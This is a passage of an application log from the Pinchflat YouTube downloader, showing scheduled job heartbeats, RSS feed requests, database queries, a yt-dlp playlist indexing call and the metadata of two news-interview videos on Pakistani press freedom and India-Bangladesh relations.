{"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:30.900 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.175 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:00.903 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:30.905 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.177 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:00.908 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:30.910 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.179 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:00.955 [info] {"source":"oban","duration":43638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:30.959 [info] {"source":"oban","duration":2400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:59.871 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:06:00.181 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:00.961 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:09.422 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:06:09.422 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:06:09.424 [debug] QUERY OK source="sources" db=0.7ms idle=468.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:06:09.426 [debug] QUERY OK source="media_items" db=1.7ms idle=470.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:06:09.428 [debug] QUERY OK source="source_metadata" db=0.5ms idle=473.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:06:09.429 [debug] QUERY OK source="media_metadata" db=0.8ms idle=473.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:06:09.429 [info] Sent 200 in 7ms 22:06:30.964 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:56.881 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:06:56.881 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:06:56.883 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1927.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:06:56.910 [debug] QUERY OK source="media_items" db=26.0ms queue=0.1ms idle=1929.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:06:56.913 [debug] QUERY OK source="source_metadata" db=0.6ms idle=1957.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:06:56.914 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=1452.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:06:56.915 [info] Sent 200 in 33ms 22:07:00.183 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:00.966 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:30.968 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.185 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:00.970 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:30.972 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.187 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:00.975 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:30.977 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.189 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:00.980 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:30.982 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:36.038 [info] {"args":{"id":1},"id":98,"meta":{},"system_time":1768083036037032707,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:10:36.040 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1085.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:36.061 [debug] QUERY OK source="settings" db=19.7ms queue=0.7ms idle=1086.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:36.144 [debug] QUERY OK source="media_items" db=80.2ms queue=0.3ms idle=1094.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:10:36.179 [debug] QUERY OK source="media_items" db=14.1ms queue=0.4ms idle=134.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:10:36.181 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.2ms idle=143.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:36.200 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=158.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:36.245 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:10:36.246 [debug] Current batch of media processed. Will check again in 1000ms 22:10:36.247 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=184.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:36.248 [debug] QUERY OK source="settings" db=0.2ms idle=103.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:36.249 [debug] QUERY OK source="settings" db=0.5ms idle=69.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:36.251 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ef/43/ef43333ca2ca90eecf9a701c7c46139c97da9ad32b56ba1cac86b76a3736f86f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:10:37.247 [debug] Current batch of media processed. Will check again in 1000ms 22:10:38.248 [debug] Current batch of media processed. Will check again in 1000ms 22:10:39.249 [debug] Current batch of media processed. Will check again in 1000ms 22:10:40.250 [debug] Current batch of media processed. Will check again in 1000ms 22:10:41.251 [debug] Current batch of media processed. Will check again in 1000ms 22:10:42.252 [debug] Current batch of media processed. Will check again in 1000ms 22:10:43.253 [debug] Current batch of media processed. Will check again in 1000ms 22:10:44.255 [debug] Current batch of media processed. Will check again in 1000ms 22:10:45.256 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 22:10:45.259 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1301.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:10:45.472 [debug] QUERY OK source="sources" db=0.7ms queue=0.6ms idle=1514.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:45.521 [debug] QUERY OK source="media_items" db=48.0ms queue=0.1ms idle=1516.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 22:10:45.597 [debug] QUERY OK source="media_items" db=40.6ms queue=1.2ms idle=1449.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "4cb5c8d5-0076-40e2-83a6-dd6b4cfd2f09", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 22:10:45Z], ~U[2026-01-10 22:10:45Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 22:10:45.601 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=521.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:45.605 [debug] QUERY OK source="media_profiles" db=2.4ms queue=1.3ms idle=341.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:45.644 [debug] QUERY OK source="media_items" db=1.2ms queue=0.4ms idle=170.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 22:10:45.646 [debug] Current batch of media processed. Will check again in 1000ms 22:10:46.647 [debug] Current batch of media processed. Will check again in 1000ms 22:10:47.648 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.651 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 22:10:48.652 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1695.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:10:48.657 [debug] QUERY OK source="sources" db=3.4ms queue=0.2ms idle=1697.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:10:48.659 [debug] QUERY OK source="media_items" db=1.0ms queue=0.7ms idle=1701.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 22:10:48.790 [debug] QUERY OK source="media_items" db=124.6ms queue=0.2ms idle=1572.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as 